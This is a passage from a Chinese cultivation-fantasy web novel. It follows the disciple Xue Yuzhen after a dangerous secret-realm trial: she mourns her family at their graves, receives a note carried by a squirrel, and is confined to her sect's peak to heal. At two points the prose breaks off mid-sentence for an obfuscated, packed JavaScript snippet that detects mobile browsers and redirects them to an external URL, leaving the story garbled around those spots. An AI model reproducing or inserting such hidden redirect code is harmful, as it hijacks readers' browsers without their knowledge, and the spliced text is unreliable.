虽然没有同凌河药谷直接打过交道,但因为母亲可能是药谷之人,薛予蓁竟有些想要为它说话,但只张了张口就将话咽了回去。平阳城里未经报备出现的药谷弟子,秘境里和药谷相关的门派弟子,就连十年一次的秘境试炼,凌河药谷都没有参与……现在几乎是所有的证据都指向药谷。就算薛予蓁想为它说话,也找不到什么能立得住脚的说辞。 “予蓁,予蓁?”柳倾云轻轻晃了晃薛予蓁,面带关切,“怎么突然愣了神,可是想起什么了?” 薛予蓁急忙道:“没有。我对凌河药谷不太熟悉,只是在想,凌河药谷以‘悬壶济世’闻名,为何要做这些事情……” 见她神色落寞,柳倾云丢给元弋晓一个眼神。两人自出生起就在一起,对彼此的小动作再熟悉不过,元弋晓轻咳一声,“其中怕是有些什么我们不清楚的隐情。对了,予蓁,我能这样叫你吗?”得到同意后,他笑了笑,抬手指了指她脖颈间坠着的玉佩,“之前在秘境地宫时,我见你是用这块玉佩挡住了乌霜赤焰的一击。这难不成是什么法器?” 元弋晓的本意只是想岔开话题,却没想薛予蓁听见这话后瞬间就红了眼眶,倏地抬起手攥住玉佩,像是害怕有人会抢走它一样。她嘴唇发颤,说不出什么话,只是嚅嗫着一些听不清的音节。 本来只是打算不聊那些倒人兴致的话题,却惹得人家更难受,元弋晓一时手足无措,正要凑上去安抚一下,却教一柄长剑挡在原地。 褚霁远面色难看,声音冰冷,“元公子,柳小姐,你们这是对我师妹做了什么?” 两人还未答话,薛予蓁抢先一步开了口,“不关他们的事,是我自己……”不过瞬间,她就已经变得脸色苍白,语气急促,但看见褚霁远后,她精神了些,“师兄,我有急事——” 褚霁远抬手打断她,“先去休息。” 薛予蓁并不认为自己需要休息,相反,她觉得自己急需去做些什么事情,什么都行,以便于去忘记自己再一次失去亲人的事实。比如,那些幻境太过真实,也消散得太快,以至于叫她还未仔细地看过亲人的脸,就醒了过来。再比如,目睹父亲的灵魂为自己当下致命的一击,然后像灰尘一样飘散在天地中。 薛予蓁有些急躁地再一次握住了胸前的玉佩,想要和褚霁远说些什么,但褚师兄这次的态度十分强硬,左手微微一抬,敛芳回便抵在了她的后背,将她往前推着。薛予蓁只来得及扭过头匆忙地朝她新交的两位朋友说一句“回见”,就被带离了崇涧宗的营地。 “师兄,我真的有要事相报。”薛予蓁现在又坐在了敛芳回上——那柄神剑在推着她导致她一个踉跄险些跌倒后,就转变了方式,一剑柄将她顶得坐在了剑身上,“师兄?” 但她的好师兄并没有像往常一样听她说话,而是停下脚步,神情严肃地看着她。这样的褚霁远对于薛予蓁来说其实有些陌生,至少在这四年间,她从未见过他露出这样的表情。褚霁远的确严厉冷静,但在面对她和施淼淼时,总是温和的。 见她一脸无措,褚霁远无奈地叹了一口气,并起两指搭在她的手腕上,“灵力紊乱,心神不静,若是再有什么差错,灵力倒流,全部修为溃散不说,甚至连性命都难保!” 薛予蓁难以控制地咬着嘴唇,垂下眼眸,“我知道,这些我都知道,可是师兄……”她这几年哭的次数实在是很少了。父母亲人还健在时,她是被捧在掌心里长大的明珠,性子调皮但又胆小怕事,明明是自己做错了事或是惹出了祸,却总是泪眼涟涟地凑到长辈面前卖可怜。那时,什么事情都解决,她也只是会被不痛不痒地斥责几句。可现如今,再也不会有这样的人了。 即便是现在,心中的委屈都要满溢出来了,却只是红了眼眶,“可是师兄,我实在是没办法了。我不知道该怎么面对又一次亲人的离开…”她哽咽着,“我,我只是想做些什么事情,让我没有精力去想这件事。” 褚霁远拧眉,“什么叫‘又’?” 坐在剑上的少女缩着肩膀,双手紧握着颈间的玉坠。褚霁远这才意识到,即便薛予蓁四年里以一种常人望尘莫及的速度成长起来,但也不过是将将十七岁的孩子。就连许乐禾这般年纪了都还会在偶尔回家时向父母诉苦。是她的懂事叫人忘记了,她的肩背还未宽阔到去顶起所有事情来。 薛予蓁没有道出缘由来,她不知道该怎么说,该说些什么。 褚霁远也不再追问,只向前一步抱住她,将她的脸轻柔地按在自己的肩上,“不会再有下一个‘又’了,不会了。” 37. 第三十七章 信使 此次宁沂秘境之行,若是只看结果,那可堪称完美——这第一嘛,凡是进秘境的弟子都是狠狠地被磨练了一番;第二嘛,平阳城中引起祸端的“碧绛草”也找到了,可东西找到了是找到了,只是与几人所想却是完全不同。 听着便像是一味药材的“碧绛草”不是药材就算了,这药方所需的药材—— 薛予蓁瞧着卷轴中的几味草药,脑袋挠破了都不知道是些什么。她丧气地将卷轴往桌子上一摔,“我阿娘平素里最是擅长医道,这天下的草药,不说百分百,便是九成她都识得。我虽未能继承她的衣钵,但幼时也被教导着认识了不少,这‘碧绛草’的方子,我怎么一个都不认识啊?” 正经医修许乐禾和徐赠春早就看这方子看得自闭了——知源宗虽凌河药谷,但他二人也是这一辈弟子中的佼佼者,更别提自三四岁时就在扶鸢长老门下修习,定然已是实力非凡。可他们二人对“碧绛草”的药方的几味药材竟半分印象也无。 一早就对卷轴全方位检测过的子书珹也无计可施,“莫非这药方是假的?” “假的?”薛予蓁并不认同,摇摇头,“前辈说,宁沂上仙什么宝贝都往宁沂秘境放,如今所见,上仙连妖兽都封印在秘境中。再者,宁沂秘境先前也不是什么人都可以进的,上仙何必要放个假东西在里面。”她眼尖,一眼就瞧见了门外闪过了褚霁远的半截衣袍。面上一喜,将脑袋探出窗户,“师兄!你送完客了吗?” 崇涧宗一行人本与他们不同道,领头的元弋晓说许久未见施明尘,此次正好同行去拜会,谁知走到半路却被宗门讯息叫回,褚霁远适才送走他们。 施淼淼从前并未坐过灵舟,身体不太适应,褚霁远正打算去看看她,半途被小师妹叫住,便停了下来,“怎么了?” 临走前,这位小师妹才失意地朝他诉说委屈,现在却完全看不出来那副难过伤心的样子。只见薛予蓁精神饱满,心情俱佳,扬着笑脸朝他挥挥手,“先前同你的讲的,‘碧绛草’。” 褚霁远看不出她是真缓过劲了还是装作一副没心没肺的样子,没应声,伸手扒拉了一下她的头发——施淼淼心疼师妹此行受苦,上灵舟前将人搂在怀里揉搓安慰了许久。她的安慰起没起作用倒是不知道,只知道师妹好不容易整理好的形象变得乱糟糟起来。出于心虚,淼淼师姐亲自给薛予蓁扎了新的发型,两侧头发被分出一半像猫耳一样盘在头顶,剩下的编成小辫绕着猫耳发髻缠过一周后垂在两侧。 施淼淼看着任凭自己摆布的小师妹,不禁怀念起来她刚上山时候的事情。那时薛予蓁还未从噩梦般的屠杀中缓过神来,常常夜半惊醒,也无暇顾及自己的仪容。施淼淼作为最小的妹妹,总是被一众师兄师姐们照顾着,这下来了新的小妹妹,她心疼薛予蓁的遭遇,对她照顾有加,最喜欢的就是给她梳各种样式可爱的发型。可惜仅过了一年,薛予蓁就不好意思叫她给自己束发了,且因着课程和修习的紧张,施淼淼甚少在早晨看见薛予蓁,总是在午时看见她梳着利落的马尾回来午休。 好不容易又能打扮薛予蓁,施淼淼见她恹恹地坐在自己身前,怜爱地摸摸她的头,转而从自己的储物囊里搜出了一堆精致的发饰。待薛予蓁调整好自己的心情后,稍微一晃脑袋就听见一阵叮当作响。她找了半天发声的东西,最后还是因为动作幅度太大,甩得系在小辫子尾巴上的琉璃铃铛砸到自己脸色才反应过来。施淼淼知道她不喜欢满头累赘,只是在猫耳发髻边上戴了月白色的缠枝蝴蝶,又在发尾出给她系了两条带小铃铛的苍蓝色发带。 “师兄?”这厢薛予蓁只探了个脑袋出来,小铃铛在脸侧晃来晃去,偶尔被晃得心烦,她就拿手去挥开铃铛,倒真像只小猫一般灵巧可爱。 褚霁远回过神,弹了弹蝴蝶翅膀,“‘碧绛草’如何?” “不如何。”薛予蓁耷拉着眉眼,“我同几位师兄师姐研究了半天,连其中的一味药材都没研究明白。” 可怜巴巴的模样,像极了总在山门前讨要零嘴的猫崽子。 褚霁远看得好笑,弯了弯眼睛,“你们自然是研究不出什么来,这份药方,本就是假的。” 薛予蓁一惊,险些将半个身子都探出窗外,“什么?!我方才还给各位师兄师姐打包票呢!” 褚霁远不打算卖关子,“并非说是那位谢公子作了假,而是说,世上本就没有什么‘碧绛草’。这不过是宁沂上仙放出来的假消息。” 这下不光是薛予蓁,另几位也是一愣。 “余下的事情你们便不必操心了,我自会禀告宗主。此番试炼,都有不小的损伤。各自好好修养,一月后便是五宗大比了…”坏心眼的大师兄哼笑一声,“要是到时候丢了宗门、世家的脸……” 他点到为止,只留许乐禾一人脸色苍白。 偏偏还有一个什么都不知道的师妹追着问他:“五宗大比是什么啊?许师兄怎么又脸色难看起来了?” 许乐禾一把按在薛予蓁肩上,诚恳地求她:“师妹,求你,先别说话了。” 五宗大比一听就知道是什么意思,薛予蓁平常总被许乐禾逗着玩,如今可算是找到机会逗他了。薛予蓁知道许乐禾作为浮鸢长老的徒弟肯定会被推出去参与比试,而这位许师兄最不擅长打架,平时练剑便懒洋洋的,也完全不爱听教习老师们讲的阵法符咒,遇见争斗时多数时候都秉承着打得过就打,打不过就跑的念头。 见平常乖巧的小师妹都学会打趣自己了,许乐禾略感心梗,挥了挥手,“算了算了,和你们粗俗之人说不清楚。” 子书珹折扇一展,道:“若是没记错的话,此次大比是由山雨门主办,要去一趟来安城了。”他看上去兴致一般,晃着折扇的速度都慢悠悠的。 薛予蓁不了解五宗大比,好奇地看向子书珹:“来安城如何?子书师兄在那有仇人?” 子书珹最是喜欢薛予蓁,要是其他人问他这些,便是理都不会理的,但此时这人笑得一脸温和,端正坐姿,一副要和她促膝长谈的样子看得一旁的徐赠春连连白眼。 薛予蓁这副模样实在是太乖了,叫子书珹心情都不自觉好起来了,也就将徐赠春的白眼抛之脑后,“来安城是不如何,山雨门可就叫人讨厌了。” 他刚说完这话,旁边的徐赠春兀的嗤笑道:“一帮子神叨叨的神棍。” 难得和她有相同的感受,子书珹只轻飘飘地撇了徐赠春一眼,继续说道:“虽说山雨门以机关术闻名,但门主却是个…”他停顿着,似乎是在措辞,“半仙。” “半,半仙?”薛予蓁疑道。 聊起这些话题,许乐禾也不心梗了,接嘴道:“小风筝不知道吧?山雨门可没什么好名声。但凡是钱到位,什么事都能做。那些学来的机关术半数都拿去研究怎么杀人了……至于门主嘛,据说整天都在那算来算去的,算天命呢。” 薛予蓁细想了一下自己在宁沂秘境里遇到的两名山雨门弟子,看着是挺正常的,但想起两人本在一起御敌却莫名其妙地开始互殴,又觉得不好说,“天命,真的可以算出来吗?” 桌前的三人你看我我看你的对视几秒,许乐禾道:“原本是没人信的,但山雨门的门主可是个要命的活计,包括咱们在内的其他四宗,宗主之位都是百年以上一换。但据我所知,山雨门的这一任门主才上任不过三十年,上一任更短,二十年不到就…”他耸了耸肩,比了个“死了”的口型。 “坊间传言,一说是山雨门门主在修炼什么邪术,每一任都会反噬而亡,另一说他们真的算出了什么天命,叫天道收了去了。”徐赠春接过话茬,道。 说起邪术,薛予蓁还是更觉得凌河药谷有问题,连魔族而篡灵术都搞出来,说不准背地里早不知道什么时候就勾搭上了魔族。想到这里,她情绪一下子就低落了起来,下意识是摸索自己的颈间。手指触及到柔软的皮肤而非坚硬的玉佩,薛予蓁方才反应过来,自爹爹的魂灵替她挡下乌霜赤焰的一击消散时,玉佩便开始出现丝丝裂痕,她害怕哪天玉佩真的碎裂,就将它收进了储物囊里。 见薛予蓁一声不吭,三人也不再言语。 灵舟驶过堇衣镇时已是黄昏,薛予蓁出去找褚霁远。没走两步就看见他朝自己走来,问道:“要下去? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471934|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 薛予蓁一愣,笑着点了点头:“师兄了解我,有些话想说。” 褚霁远轻轻拍了拍她的肩膀,道:“去吧。”说完,他张了张嘴,似乎还打算叮嘱些什么,但最终还是没说出口。 距离上次来这已是一月有余,三个小小的坟包旁又冒出了不少杂草。薛予蓁的心情颇为复杂,她将伐邪放在一旁,挽起袖子,仔仔细细地拔草,一边拔一边小声的絮絮叨叨。到了最后,她也不讲究了,一屁股坐在地上,似乎是笑了一声,“改明儿,我寻些灵植来种在边上,来看你们的时候,说不准还能有些收获…” 晚间吹起了风,撩得发尾的小铃铛微微发响,就像是在回应薛予蓁的话一样。 “阿娘,爹爹,哥哥……”喊一声,就滚下一行泪,在褚霁远面前没流下的眼泪还是在亲人面前忍不住了,薛予蓁轻轻地唤着他们,“我还是这么没有用,倘若…”倘若小时候那么贪玩,多和阿娘学些招式,也不至于遇险时只能被吓到一动也不敢动,要叫阿娘伤害自己来保全我。 簌簌——。 薛予蓁瞬间收起情绪,抓过一旁的伐邪就站了起来,眼泪还挂在面颊上,眉目却是一派凌厉。她看向不远处的树林,大声喝道:“谁在哪?出来!” 窸窸窣窣的声音断断续续地响着,却没有人应声。薛予蓁拔出伐邪挡在身前,放轻脚步朝着那边走去,拨开层层树枝走到出声的地方,却空无一人。 紧绷的肩背骤然放松,薛予蓁抬手抹去脸上的泪痕,心中嘲笑自己太过敏感。 哗啦一声。一团小小的黑影摔在了薛予蓁面前,她刚放下警惕,猝不及防被吓了一跳,险些又将伐邪拔了出来。 低头仔细一看,是只炸毛的小松鼠。薛予蓁一愣,小声喊了句“松果”。 面前的小松鼠没有反应,只是挠着自己毛茸茸的脑袋。薛予蓁看得好笑,情不自禁地去戳了戳它乱蓬蓬的尾巴。小松鼠被戳得一呆,像是突然被点了穴,只睁着小眼睛看着薛予蓁,鼻尖一耸一耸的,不知道是被吓到了还是在嗅什么。 “还以为是那只聪明的松鼠呢。”薛予蓁嘀咕着从口袋里掏出几个松子放在小松鼠面前,“诺,先前用来招待你的同族的。” 小松鼠似乎是回过神了,两只前爪搭在她的手上,却没去拿松子,而是拽着她的手往地上拖去。 薛予蓁虽不明所以,却还是顺从地伸手在地上摸了两下,结果还真叫她摸到了个东西出来,许是刚才和它一同掉下来的。 东西对于小家伙来说不算小,是一张折起来巴掌大的纸。看着纸条,又看了看松鼠,薛予蓁心中隐隐有了些猜测。 展开一看,果不其然。 少年人的字迹和他的性格一样张扬肆意,几乎要透过字条看见那张满载笑意的脸了。 “薛小姐,走得太过匆忙,竟忘记同你打招呼。走到半路想起此事,倍感后悔。好在松果自荐,或许能叫它的小伙伴给你捎个信。若是真行,便太好不过。一月后便是五宗大比,师父叫我可以去凑凑热闹,届时与你来安城相见。祝好。” 末尾落款并不规矩,更加张扬地写着一个“谢”字。 没由来的,心中那些烦闷消散了些许,薛予蓁不可置信地将纸条又看了几遍,忍不住笑出声来。 脚边上辛苦的信使早就带着报酬离开了。薛予蓁走回墓前,低声说了些什么,抿着嘴笑得眼睛弯弯。 天色渐暗,薛予蓁没再多待,又同父母和兄长说了几句话后便离开了。 在她走后没多久,自树林间走出一名少年。他似乎是又在林间穿行了许久,头发里插了几片树叶,但他却没着急去摘下来,而是从自己衣领间拽出一只坏松鼠。 谢云涧恨铁不成钢地点了点松果的鼻尖,教训道:“亏的师父的隐身咒厉害,不然就要叫你这只没出息的家伙坏我的事情了。” 松果被他拎着后颈,愤愤不平地吱吱叫。谢云涧懒得去理它,随便把它放在自己肩头上,扭头看着简陋的墓碑,沉默了许久后小声说道:“山上的人真不靠谱对吧?叫她一个人在这哭得伤心。” 38. 第三十八章 归宗 得了个安慰人的小纸条,薛予蓁心中的忧虑消散不少。上山的路长,但发尾的小铃铛叮当作响,伴着风过树梢的声音,倒是让她觉得这条路像是在回家,不再煎熬。 还未走到山门就远远望见两道身影,一道熟悉,一道许久不见。薛予蓁不免感到欣喜,三步并两步跑到门前,唤道:“师兄!阿遥!” 明若遥原本还因为褚霁远在自己身旁有些紧张,低着头在回答着些什么,听见薛予蓁的声音,猛地抬头看去,“小风筝!”她本想拔腿就往薛予蓁跑去,想起旁边的人,硬生生忍住了,只雀跃地朝她挥手。 薛予蓁到了两人面前,先是朝褚霁远恭恭敬敬行了一礼,又看向明若遥,朝她眨了眨眼,才问褚霁远,道:“师兄怎么在这?今晚师兄轮值?” 褚霁远本就是担心薛予蓁心中淤塞着亲人的事情,怕她想不开出什么岔子,此时见她完好无缺地回来了,也就放心了。 想着自己在这,明若遥恐怕会拘谨很多,道:“并非轮值,不过见你迟迟未归,有些担忧。”他识趣道,“看你一身轻松,我便放心了。先走一步,不扰你们叙旧。” 但在临走前,又转身看她,“若是难过,不要觉得打扰,来找我说说。” 在一众弟子的眼中,这位大师兄,冷如冰霜,待人冷淡又严厉,偶尔温和起来也像是在嘲人蠢笨。每次弟子考核时遇上他的人,总是未语泪先流,感觉自己半分希望都没有了。 内门弟子要稍微好些,外门弟子嘴里嚷嚷着要打服褚霁远,叫他让出大师兄这个位置,实则遇到人是只敢鹌鹑似地喊一声褚师兄,看都不敢看一眼。 明若遥原本和褚霁远的接触也不多,顶多是在轮值和巡逻时被叫去交代几句。在认识薛予蓁后,倒是经常就能和他遇上,但无论多少次,还是觉得有些不可置信。 待人走远了,才放松了些,同薛予蓁说道:“见多少次都还是觉得,这位褚师兄是假的。” 薛予蓁习惯了这样的说法,只是笑了两声,亲热地挽着她,道:“阿遥之前去哪里了?怎么走了这么久?” 明若遥道:“五宗大比下月就要举办,虽并非知源宗主办,却也要派人过去恭贺几句,意思意思。再说,明家在岷洲说得上话,五宗大比虽然以宗门为主,却也是不少世家暗中显摆的时候,家中人总是催我回去主持大局。” 她说着,脸上流露出些许疲态,显然也不轻松。薛予蓁没参加过,不知道该说什么安慰,只好伸手在她背上抚了抚。 明若遥是她在知源宗里除了施淼淼以外,难得关系亲密的好友。但一开始,明若遥是看不上薛予蓁的。她自己本是外门弟子,能进内门,也是花了苦功夫的,次次弟子考核都是榜首。 薛予蓁拜入施明尘门下时,她才不过进内门一年。自己努力五六年的成果,不过是别人的起点,更何况薛予蓁是个连炼气都不到的凡人,这叫她更是难以接受,看薛予蓁时是也从不带好脸色。 可那时的薛予蓁还处在刚失去至亲的悲痛之中,别说主动去交友,连话都不肯讲。更何况那时,薛予蓁不常在课室出现,只零零散散来了几次。不知缘由的人当她是心虚,是高傲,排挤了她好一阵子。 明若遥在自己家里也是被捧在掌心里长大的小姐,世家虽锦衣玉食,却也规矩颇多,她的教养叫她做不出背地里嚼舌根的举动来。 要说改变,是一月后的一个晚上,她那日和薛予蓁有同一门课,又临近月末考核,晚间下课时走得急,将剑饰挂掉了也未曾察觉。快宵禁时才发现,本想第二天再去拿,谁知脚步一拐便走到了课室。 推门前听见里面隐隐传出声音,明若遥收了手,从窗户看进去——薛予蓁还坐在白日的位置上,面前的矮桌前放着厚厚的一叠书,她低着头,嘴里快而低声地念着,身边被浓重的灵气环绕着。 许是察觉到了她的目光,薛予蓁扭头看向她,十三岁的年纪,脸上的稚嫩还未褪去,眼底雾蒙蒙的一片。这一月来,她都是愁眉不展的模样,却在看着明若遥的时候,抿着嘴很浅地笑了一下,小声喊了一句明师姐。 明若遥在本家也见过不少这种“勤奋好学”的旁支,觉得她也在做戏,心中厌烦更甚,也不要什么剑饰了,转身就走。走的时候还在想,薛予蓁会不会去向褚霁远他们告状。 可是没有,而她往后几个月也总能在夜晚的课室或是练剑峰看到薛予蓁的身影。薛予蓁本就起步比常人晚,用功一些是正常的,但明若遥以为她身后站着施明尘和褚霁远,再用功也不会如此。 有次在练剑峰看见薛予蓁被褚霁远带着练剑招,从她生涩的动作就看出从前一点都没接触过这些,而那位高高在上的褚师兄也没有因为这是自己的亲师妹就手下留情。 出剑速度慢了,打。 手弯了,打。 剑招记错了,打。 褚霁远心狠手辣,鞭鞭不留情,看得明若遥觉得自己身上幻痛。薛予蓁被打得头上全是冷汗,却一声没吭。 许是动作太过粗劣,褚霁远教了一会儿便连连叹气,自己演示了一遍后,就留她一人在这练习挥剑。 五千次,一次也不能少。说完便冷酷地离开了。 明若遥以为按薛予蓁的年纪,多少都要哭一场了。但她没哭,只是呆愣愣地站了一会儿后,就开始挥剑。 枯燥无趣,明若遥心中默道。却不知为何没有离开,而是在原地打坐冥想。待她两个时辰后睁开眼,薛予蓁已经挥完那五千次,此刻正在闷头练剑招。前面看着都还好,却总是在最后莫名犯错。 看了几遍后,明若遥实在没忍住,道了句“笨死了。” 薛予蓁挨师兄训的时候都没什么反应,听见她这句话反倒是有些手足无措,耳朵唰的红了彻底,手中的动作也停了下来,有些尴尬地看着她,“明师姐……” 几个月下来,她脸上没了一开始的懵懂,眼神平和了许多。明若遥莫名想起了那天她雾蒙蒙的眼神,没去看她的眼睛,自顾自地说道:“我十岁之后这套剑法便不再犯错了。” 初练剑时,薛予蓁还拿的是木剑,听见她这话,不知道该回些什么,小声地嗯了一下后,就不知所措地用手扣着剑柄。 明若遥走到她面前,拔出自己的佩剑,道:“看好了,最后是这样的。” 缘分有时就是莫名其妙的,她们二人便由此相熟。明若遥每每想起那时候自己的一言一行,都觉得内心煎熬又尴尬,想给自己两巴掌,尤其在深夜时。 她也亲昵地贴了贴薛予蓁的脸,遗憾道:“可惜这事来得不巧,我们小风筝头次下山都叫我错过了。” 薛予蓁被她说的不好意思,嘀咕道:“也算不上什么大事,怎么每个人都看得比我重要…” 明若遥闷闷笑了两声,打趣道:“每个人?除了我还有谁?我猜猜,子书师兄?” 薛予蓁没说什么,被念到的人倒是应了声,“二位,说我什么呢?” 子书珹不知何时出现在两人前面,看到薛予蓁情绪稳定后,神情放松了很多,但—— “子书师兄!你——”薛予蓁喊了一声,两步走到他面前,难以置信地摸了摸他的手,“脸白得和鬼一样,手这么凉!” 宁沂秘境下面的大殿里本就有压制灵力的阵法,子书珹当时为了救人,硬生生破了禁制,又切实地挨了乌霜赤焰的一击,饶是许乐禾和徐赠春及时为他疗伤,也难防这人在出了秘境后就又去跟着褚霁远抓人。 内伤难好,之前碍于还在师门外,要撑着一口气提防再出什么岔子,这下回了宗门,子书珹也不再忍了,就这么大咧咧地做起伤员来了。师父心疼不说,还能逃过许多繁杂的事情,何乐而不为呢? 但看着少女焦急的神情,他兀的有些后悔了,早知道找施淼淼拿些胭脂水粉涂在脸上,看着兴许没那么吓人了。但事已至此,子书珹叹了一口气,抬手抚上薛予蓁的眼睛,“是师兄的错,叫我们小风筝把眼睛都哭红了。” 薛予蓁面色一僵,默不作声地躲开他的手。在山下至亲的坟前,是哭得有些厉害,怕回了宗门叫人看见,她给自己上了个障眼法,谁知被这人点了出来。但转念一想,方才见过褚霁远,师兄分明也看了出来,却没说破叫她尴尬。想到这里,觉得这个子书师兄也没什么要关心的必要了。 薛予蓁撇撇嘴,想要放手,但看着他苍白的脸色,还是不忍心。扶着人往前走了几步,没憋住,道:“你真没事吗,师兄?我带你去找浮鸢长老看看吧。” 子书珹摇摇头,道:“不必。师父已经替我看过,不是什么大问题,好生修养几日便好。” 他自己做了决定,多半时候都改不了,薛予蓁清楚,便也不打算费口舌去劝他,只点了点头,“那我送你回去吧。” 子书珹摆摆手,拒绝了,“不必了,只是看着吓人。”他带着薛予蓁的手摸自己的脉,笑道,“如何?我的脉象总是要比你的好吧?” 想起自己体内杂乱的灵气,薛予蓁讪讪地收回手,不敢再去说他什么。 明若遥不明所以,纳闷道:“怎么一回事?我才回来,还未去问过你们此行的情况。怎么连子书师兄都…” 子书珹懒得回应这些问题,说了句头晕目眩要回去躺着就溜之大吉了。 薛予蓁无奈,只能自己删删减减地把秘境里的事情讲给明若遥听了。 明若遥听完后就握着薛予蓁的肩膀,将她整个人又上上下下打量了好几遍,“天哪,乌霜赤焰,”她感叹一句,“我只在书里看过这个名字…” “大多数人也只在书上看见过它吧。”薛予蓁道,“不过以前便罢了,现今真要遇见乌霜赤焰还是得快点跑才对。”想起那条巨蟒的狰狞嘴脸,薛予蓁打了寒战。 “书中所载,它还是镇守沉渊峰的灵兽呢,谁知落得今日的下场。”明若遥说完,像是想起来什么,“予蓁,我得先去找一下我师父,咱们明日再聚一下。” 见薛予蓁点头,她又补充一句,“好好休息。” 回到竹晏峰的时候,还不算太晚,院里亮着几盏灯笼,施淼淼和施明尘坐在桃花树下喝茶。施淼淼没怎么碰桌上的茶盏,正兴致勃勃地同施明尘讲话。她回到知源宗后便换了衣装,在大片鲜艳的桃红中,那抹苍翠也格外亮眼。 薛予蓁看着两人亲昵地互动,一时有些失意,透过施明尘仿佛看见了自己的父亲。 但这股情绪没能持续多久,肩上突然被轻轻拍了一下。薛予蓁被吓了一跳,转头一看,褚霁远站在她身后,疑惑道:“怎么站在这不进去?” 薛予蓁不好意思道:“很少见师父和师姐这样相处,想着让他们多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471935|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说说话。” 宗门事务繁多,多数时候施明尘都在致远殿内处理事情。特别是近年来五洲内发生过不少灾祸,施明尘一年中至少有半年不在宗内,在宗门的时间里也鲜少能抽出空来陪伴女儿。 褚霁远看了一眼不远处的两父女,心下了然。 “师兄,秘境中绘制邪阵的那几人,可有什么说法了?”薛予蓁问道。 薛予蓁本就是亲历者,对她没什么好瞒的。 褚霁远道:“全死了。”不过那几人只是背后人的棋子罢了,生或死都没什么意义。 而那位潘长老,被追上后轻轻恐吓一下就全交代了。不过显然也只是被推出来挡刀的蠢货,给出的信息一点用处也没有。 薛予蓁攥紧了手,道:“难道真的是凌河药谷?” 褚霁远知道她因为母亲的事情对凌河药谷还有几分眷恋,斟酌道:“不一定,但凌河药谷也并不清白。” 薛予蓁摇了摇头,道:“师兄不必如此。阿娘既然从未提起过凌河药谷,那便说明她早已对它失望透顶。我 虽不知道这其中到底发生了什么,但我相信阿娘,她若是决定离开那里……” 便足以说明凌河药谷出了问题。 她没将话讲完,但褚霁远清楚她的意思。 若是要继续查下去这件事情,凌河药谷是一个好选择。 要说凌河药谷的巨变,便是从三十年前,老谷主身死后开始的。前任谷主有两名亲徒,大徒弟完全继承了她的衣钵,年纪轻轻便已名扬天下,二徒弟虽然入门晚些,但也是野心勃勃,迅速成长起来。 原本说下任谷主之位是大徒弟的,谁知三十年前,二徒弟继位谷主,同年,作为长老的大徒弟叛出凌河药谷,从此销声匿迹。 想到此处,褚霁远不动声色地看了薛予蓁一眼。他没见过那位前辈,但想想这一家子以前的事情,可以猜到薛予蓁的母亲也许就是叛出凌河药谷的舒宜。 “你,”褚霁远犹豫了一下,换了种说法,“你和你母亲长得像吗?” 虽然不知道褚霁远为什么问这个,薛予蓁还是回复道:“母亲说,我和哥哥都不像她。” 褚霁远点点头,还想要说什么的时候,施淼淼的出现打断了两人的对话。 “二位,竹晏峰从不拒来客。”施淼淼不知何时注意到了两人,“再说了,你们俩也称不上客。” “师兄,小风筝,快来快来。”施淼淼冲他们招招手,看起来心情很好,灵动的眸子里满是笑意。 薛予蓁一下午都没看见施淼淼,现在看见她精神满满的样子心中又一块石头落地。于是便兴高采烈地跑到两人身边,“师姐,师父。” 施明尘大约是已经从褚霁远那里得到了秘境里的事情,还颇为不高兴,“早知此行要遭这么大的罪,我便将你拘在这里。”说罢,示意她伸手,“伤虽不重,灵气紊乱。往后半月都不许使灵力,给我好好理理。” 薛予蓁讪讪地笑了两声,应了句是,想了想又觉得不服,“若是一辈子待在宗门内,弟子又该如何成长。此行虽凶险,却也是叫我长了不少教训。”说完,怕被骂,又去看施淼淼,同她使眼色,“是吧师姐?” 施淼淼最是清楚当时状况,心中也为宗内一众弟子担忧过,但无法辩驳的是,经历此遭后的几十名弟子,要更为有胆色了。她点点头,“小风筝说的不错。” 施明尘懒得同她俩多说,只警告地点了点薛予蓁,将茶水一饮而尽后,道:“不打扰你们了。淼淼这几日也好好休息,最好是盯着薛予蓁这丫头,别给她碰剑的机会。把竹晏峰的结界也打开,别叫人来打扰…” 眼见施明尘要嘱咐的话越来越多,褚霁远接收到两位师妹递来的求救的目光,轻咳一声打断他,道:“师父,崇涧宗那边有消息传来,诸位长老已经在致远殿候着了。” 施明尘立马闭了嘴要走,只不过走了两步后又折返回来,朝薛予蓁扔了个东西。 薛予蓁一把接住,是个储物囊。 她还想问问是什么东西,抬头一瞧,那两人已经不见身影了。 施淼淼凑到她身边,好奇道:“爹又给你什么了?” 薛予蓁一边说着不知道,一边打开锦囊,打开的一瞬间,一道小型的锁灵阵覆盖到竹晏峰的每个角落。两人一愣,同时想要运气凝力,但体内的灵力被阵法压制得死死的,半点波澜都激不起来。 两人对视一眼,齐齐奔向竹晏峰的入口,不见施明尘,倒看见褚霁远刚放下手,禁闭符的最后一笔消散在空气中。 看见两人,褚霁远笑了一下,指了指薛予蓁,“重伤未愈。”又指了指施淼淼,“凝气调理。” 最后总结道:“总之,师父说了,往后半个月,不准踏出竹晏峰半步。”说完便走了。 徒留两人在门口咋咋呼呼地抱怨着不公平。 但事实证明这没什么不公平的。去秘境的三十人,唯有莫泱一人运气好到天道都要嫉妒,除了最后的混战,一点也没被波及到,也唯有他一人没被宗主禁足疗伤。 这小子今天来竹晏峰传子书珹的话,明日去子书珹那传薛予蓁的话。 